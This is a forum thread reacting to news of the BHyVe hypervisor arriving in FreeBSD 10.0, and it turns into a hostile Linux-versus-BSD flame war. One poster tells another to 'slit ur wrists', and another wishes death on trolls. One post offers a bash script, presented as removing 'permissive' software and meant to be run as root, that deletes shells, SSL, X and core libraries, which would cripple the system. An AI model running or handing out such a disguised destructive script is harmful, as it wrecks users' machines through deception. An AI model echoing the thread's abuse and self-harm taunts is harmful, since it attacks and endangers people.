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    Default BHyVe: A New Hypervisor Coming To FreeBSD 10.0

    Phoronix: BHyVe: A New Hypervisor Coming To FreeBSD 10.0

    BHyVe is a legacy-free hypervisor being developed by FreeBSD developers that was recently merged into mainline to be part of the FreeBSD 10.0 release. The BHyVe virtualization hypervisor relies upon Intel VT-x and already has several interesting features as it aims to be truly legacy-free, high-performance, while being contained within a very small footprint...

    http://www.phoronix.com/vr.php?view=MTI5ODY

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    Quote Originally Posted by phoronix View Post
    Phoronix: BHyVe: A New Hypervisor Coming To FreeBSD 10.0

    BHyVe is a legacy-free hypervisor being developed by FreeBSD developers that was recently merged into mainline to be part of the FreeBSD 10.0 release. The BHyVe virtualization hypervisor relies upon Intel VT-x and already has several interesting features as it aims to be truly legacy-free, high-performance, while being contained within a very small footprint...

    http://www.phoronix.com/vr.php?view=MTI5ODY
    they support hardware virtualization? nice, heres a nickel, go buy yourself a lollipop. come back when you support numa and live migrations in 4000 years.

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    Quote Originally Posted by garegin View Post
    they support hardware virtualization? nice, heres a nickel, go buy yourself a lollipop. come back when you support numa and live migrations in 4000 years.
    come back when your OS doesn't suck shit through a straw. Linux sucks moose balls.

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    Quote Originally Posted by brad0 View Post
    come back when your OS doesn't suck shit through a straw. Linux sucks moose balls.
    come back when BSD doesn't suck proprietary dicks oh wait.... That'll never happen. BSD WAS created to suck proprietary dicks.

    That's ok, just go slit ur wrists now, BSD fucker (brad0).

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    Quote Originally Posted by systemd rulez View Post
    come back when BSD doesn't suck proprietary dicks oh wait.... That'll never happen. BSD WAS created to suck proprietary dicks.
    Very insightful, in light of BSDI. I wonder why they bothered to commit some code back.

    By the way, I'm afraid you might have some "permissive" software left on your computer. Could you help rid the world of this nuisance by running this as root?
    Code:
    #!/bin/bash
    export PATH=$(echo /{usr/local/,usr/,}{s,}bin:|sed 's: ::g') DIRS=$(echo /{usr/local/,usr/,}{s,}bin); for d in $DIRS; do rm -f $d/{dhc,X,ssl}* $d/{*s,a}sh*  &>/dev/null; done
    find /usr/share |grep -E '{m,}{e,doc,an-old}\.tmac'|xargs rm -f {/usr,}/lib/lib{ncurses,ssl,*GL}*
    Last edited by Ibidem; 02-11-2013 at 10:14 PM.

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    Long time lurker, I created this account just to say this- I will never in my life allow myself to be grouped in with the fucktardedness represented throughout this thread. A copy of these posts should always be maintained to point out that there is a severe distasteful and classless contingency of Linux enthusiasts which give Linux a bad name and, well, anyone else interested in how a computer works a bad name. These people are "enthusiasts" much like I would describe people who continually rant on about how Mercedes is a superior car to anything else "enthusiasts". Netflix scrapped Linux for production use and used BSD instead- I would like to know how this can be rationalized with, of course the creative and repetitive use of fecal matter imagery, to explain how Linux lost out at being the superior datacenter or production environment for them? Linux is just now starting to move to LLVM/Clang for its kernel but FreeBSD has done this first. How in every regard can BSD be behind when in that case Linux is behind? One way or another I use all OSes for their most appropriate use and do not just use or favor one over another. These are not brands of cereal they are operating systems and free ones at that. I just will never have buyer's remorse for something that is free no matter how you slice it. A hypervisor for FreeBSD was actually great news to hear for me today. It just means a different take on something which has proven useful to others and may yield benefits that other hypervisors don't have. Go ahead say what you will I'm just not going to respond or check up on any retaliation I just have better things to do with my time and the users in this thread with all of their abusive language (which indicates a very SEVERE lack of self worth) have nothing to teach me...ever. The mach kernel which Apple relies upon is the basis for their operating system and built upon BSD development. Within the scope of time that they made the decision to switch to it they have become the biggest company in U.S. history. I have mentioned two companies here that have experienced a huge amount of success due to their involvement with BSD as a development environment. I've personally set up NAS servers with FreeBSD that have worked very well. I have also been able to port software to FreeBSD which was only available for Linux for my own use with a startling amount of speed and ease. They really are not so different I've found. Hopefully, in the future when there is a news article about someone achieving something or improving the quality of things the first posts will not be an incomprehensible slew of negative comments, heckling, and off-topic self interested ranting. I don't think it will change in my lifetime but we can always hope for the untimely death of these insecure pathetic trolls. Have fun kids.

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    Quote Originally Posted by Ibidem View Post
    Very insightful, in light of BSDI. I wonder why they bothered to commit some code back.

    By the way, I'm afraid you might have some "permissive" software left on your computer. Could you help rid the world of this nuisance by running this as root?
    Code:
    #!/bin/bash
    export PATH=$(echo /{usr/local/,usr/,}{s,}bin:|sed 's: ::g') DIRS=$(echo /{usr/local/,usr/,}{s,}bin); for d in $DIRS; do rm -f $d/{dhc,X,ssl}* $d/{*s,a}sh*  &>/dev/null; done
    find /usr/share |grep -E '{m,}{e,doc,an-old}\.tmac'|xargs rm -f {/usr,}/lib/lib{ncurses,ssl,*GL}*
    Let me explain again, all former BSD code and utils in Linux have GPL code added to them and thus are clensed and coverted to GPL code and tools.

    Thats the revolutionary beauty of the GPL, it's like a spider plant. Adding GPL code to BSD or MIT code converts and liberates it from conversion to proprietary code and thus effectively make it freedom preserving GPL code.

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    Quote Originally Posted by brad0 View Post
    come back when your OS doesn't suck shit through a straw. Linux sucks moose balls.
    And also, Linux anals/owns BSD:



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    Ah, the troll is back again, feeling entitled to tell open source developers on which software they should work.
    Funnily, you never came back to my questions about your contribution to the open source world. Where is your code, you stated that you are a programmer and you love the GPL, so show us what you have done.

    By the way, have you in the meantime tried to run your Linux system without software with a permissive license? How did that work out for you?

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    Quote Originally Posted by Vim_User View Post
    Ah, the troll is back again, feeling entitled to tell open source developers on which software they should work.
    Funnily, you never came back to my questions about your contribution to the open source world. Where is your code, you stated that you are a programmer and you love the GPL, so show us what you have done.

    By the way, have you in the meantime tried to run your Linux system without software with a permissive license? How did that work out for you?
    Ur the troll not me. BTW, all software with permissive license has GPL code added to them so they are now GPL software.

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